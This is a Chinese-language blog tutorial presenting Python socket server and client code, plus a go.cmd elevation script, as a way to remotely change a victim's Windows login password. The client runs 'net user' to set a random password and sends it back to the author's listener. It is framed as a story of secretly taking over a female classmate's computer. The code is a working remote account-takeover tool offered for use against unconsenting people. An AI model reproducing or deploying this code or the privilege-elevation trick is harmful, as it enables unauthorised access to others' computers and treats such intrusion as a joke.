Python实战:利用Socket远程修改Windows开机密码
本文通过Python Socket编程实现远程修改Windows开机密码的实战案例。详细解析服务端与客户端的代码逻辑,涵盖套接字创建、IP绑定、命令执行及权限提升等关键步骤。文章提供了完整的代码示例与go.cmd提权脚本,帮助开发者理解网络通信与系统命令调用的结合应用。
一、前言

班花联系我说手机出现故障,请求协助处理,这机会自然不能错过。经过短暂的兴奋后,我决定展示一下技术能力。短短五分钟内问题得以解决,电脑重启后提示输入密码,当时未加思索便离开了。随后我思考能否利用技术手段远程解析该开机密码,于是立即着手实施。

二、工具准备
开发环境:win10、python3.7 开发工具:pycharm
三、项目思路解析
涉及远程操作,核心在于建立连接;建立连接则需使用socket套接字(此处省略关于个人情感状态的吐槽)。

本项目包含三份代码:请注意区分,你持有的是服务端代码,而客户端代码及go.cmd文件需发送给目标对方。
首先,按照标准流程创建服务端服务。
服务端处理流程如下:
- 创建套接字
- -绑定ip和端口
- -设置监听
- -等待链接
- -接受数据打印数据
- -关闭链接
import socket # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444)) # 绑定IP/端口
server.listen(5) # 监听
print('***********等待连接*********')
conn, addr = server.accept() # 连接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
Windows系统修改电脑密码的标准命令格式为:net User 用户名 修改的密码(建议自行测试验证)。

客户端处理流程如下:
- 创建套接字
- -连接服务端的IP和端口
- -获取当前使用的电脑账户名
- -生成随机的电脑密码
- -在终端执行修改Windows密码的指令
- -发送修改之后的密码
- -关闭套接字
import socket # 导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口)) # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) # 将密码发送给server端
back_msg = client.recv(1024)
client.close() # 关闭socket
至此,你可以尝试自行实现。需注意,当前代码仅能修改权限为admin的账户。

若为非admin用户,需提升执行权限。 直接使用超级管理员权限执行cmd文件。 go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
四、小结
最终我成功修改密码并登录,意外发现了她的原始密码。

这位班花C盘已满却不知清理,显然对电脑操作不太熟悉。如此貌美却不懂电脑,实为惊人发现。
PS:最后我啥都没动改回去了!
到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













